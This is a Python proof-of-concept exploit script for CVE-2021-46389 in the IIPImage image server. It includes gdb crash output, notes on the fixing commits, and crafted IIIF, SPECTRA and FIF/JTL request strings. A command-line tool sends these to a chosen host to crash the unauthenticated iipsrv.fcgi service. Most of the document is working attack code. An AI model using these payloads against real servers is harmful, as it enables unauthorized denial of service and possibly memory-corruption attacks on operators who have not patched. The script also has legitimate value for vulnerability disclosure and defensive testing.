#!/usr/bin/python3 # -*- coding: UTF-8 -*- # # thiel.py # # IIPImage Multiple Remote Memory Corruption Vulnerabilities # # Jeremy Brown [jbrown3264/gmail] # # IIPImage is distributed with a server that enables advanced, high-performance # image manipulation for web-based streaming and viewing of high resolution images. # The server component called iipsrv.fcgi processes requests from users and passes # them to command handlers. Several crashes including an integer overflow were # discovered by sending malformed requests to the server, allowing remote users # without authentication to perform denial-of-service attacks or potentially # crafted for remote code execution as the server's running user. # # Tested on Ubuntu 20.04 with NGINX fastcgi_pass localhost:9000 configuration # # Demo # # $ ./thiel.py http://10.0.0.201 --trigger iiif # # (gdb) r --bind 0.0.0.0:9000 # 9000 for nginx comms, port 80 externally # ... # # Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault. # __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319 # (gdb) i r # rax 0x7ffef6d50b68 140733039577960 # rbx 0xffffffff 4294967295 # rcx 0xb3 179 # rdx 0x6 6 # rsi 0x5555556ae20d 93824993649165 # rdi 0x7ffef6d50b68 140733039577960 # rbp 0x7fffffffc690 0x7fffffffc690 # rsp 0x7fffffffc4b8 0x7fffffffc4b8 # r8 0x0 0 # r9 0x0 0 # r10 0x55555564f4e0 93824993260768 # r11 0x7ffef6d50b68 140733039577960 # r12 0xb58 2904 # r13 0x81 129 # r14 0x1e4 484 # r15 0x8 8 # rip 0x7ffff7a53708 0x7ffff7a53708 <__memmove_avx_unaligned_erms+152> # # => 0x7ffff7a53708 <__memmove_avx_unaligned_erms+152>: mov ecx,DWORD PTR [rsi+rdx*1-0x4] # # 0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319 # 1 0x0000555555573b5c in memcpy (__len=6, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 # 2 TileManager::getRegion (this=this@entry=0x7fffffffc7d0, res=res@entry=0, seq=0, ang=90, layers=0, x=, y=, width=, height=) at TileManager.cc:470 # 3 0x000055555558c914 in CVT::send (this=this@entry=0x7fffffffd390, session=session@entry=0x7fffffffd8b0) at CVT.cc:222 # 4 0x000055555559a06e in IIIF::run (this=0x5555555e2e20, session=0x7fffffffd8b0, src=...) at IIIF.cc:656 # 5 0x0000555555566cf4 in main (argc=, argv=) at Main.cc:741 # # Fixes # - commits 4ed59265fbbd636dc2fbbf325f8ea37ed300a6d9, 882925b295a80ec992063deffc2a3b0d803c3195 # # CVE-2021-46389 # import os import sys import argparse import signal import requests PATH = '/fcgi-bin/iipsrv.fcgi' # # also there's many params for some functions like fif such as obj, qlt, sds, # cnt, cvt, wid, rgn, etc so the code definitely needs lots of input validation # QUERY_FIF = '?fif=' QUERY_IIIF = '?iiif=' QUERY_SPECTRA = '?spectra=' # # Some bugs require a valid file (eg. tiled TIF) to be present on the server (eg. IIIF big region) # # sample: https://openslide.cs.cmu.edu/download/openslide-testdata/Generic-TIFF/CMU-1.tiff # VALID_FILE = '/var/www/test.tif' ### BUGS ### # # Bug #1: Integer overflow @ TileManager::getRegion() # # Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault. # __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319 # # REQ = QUERY_IIIF + VALID_FILE + '/full,32883,500,500/256,/0/default.jpg' # image # REQ = QUERY_IIIF + VALID_FILE + '/full,32884,500,500/256,/0/default.jpg' # image error REQ_IIIF = QUERY_IIIF + VALID_FILE + '/full,32912,500,500/256,/0/default.jpg' # SIGSEGV # REQ_FIF_WID = QUERY_FIF + VALID_FILE + '&wid=652455&cvt=jpeg' # SIGSEGV (starts at CVT::run instead of IIIF:run) # # Bug #2: NULL ptr deref @ SPECTRA::run # # Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault. # SPECTRA::run (this=0x5555555e2f70, session=0x7fffffffd8b0, argument=...) at IIPImage.h:335 # 335 unsigned int getTileWidth() { return tile_width; }; # REQ_SPECTRA = QUERY_SPECTRA + 'x' # no valid file necessary # # Bug #3: Another crash @ JTL::run # # Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault. # JTL::send (this=this@entry=0x5555555e3200, session=session@entry=0x7fffffffd8c0, resolution=resolution@entry=129165, tile=tile@entry=1) at IIPImage.h:324 # 324 unsigned int getImageWidth( int n=0 ) { return image_widths[n]; }; # REQ_FIF_JTL = QUERY_FIF + VALID_FILE + '&jtl=129500,1' # try larger value if no crash # ### END BUGS ### class Thiel(object): def __init__(self, args): self.host = args.host self.trigger = args.trigger def run(self): if(self.trigger == None): print("error: choose which bug use via --trigger") return -1 if(self.trigger == 'iiif'): return self.sendRequest(self.host, REQ_IIIF) if(self.trigger == 'spectra'): return self.sendRequest(self.host, REQ_SPECTRA) if(self.trigger == 'fif_jtl'): return self.sendRequest(self.host, REQ_FIF_JTL) return 0 def sendRequest(self, host, req): session = requests.Session() try: resp = session.get(host + PATH + req) except Exception as error: print("Error: %s" % error) return -1 if(b'502 Bad Gateway' in resp.content): print("done\n") return 0 else: print("[-] iipsrv still appears to be up\n") return -1 def signalExit(): sys.exit(-1) def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("host", type=str, help="target host") parser.add_argument("--trigger", "--trigger", type=str, choices=['iiif', 'spectra', 'fif_jtl'], help="which bug to trigger") args = parser.parse_args() return args def main(): signal.signal(signal.SIGINT, signalExit) args = arg_parse() pt = Thiel(args) result = pt.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main()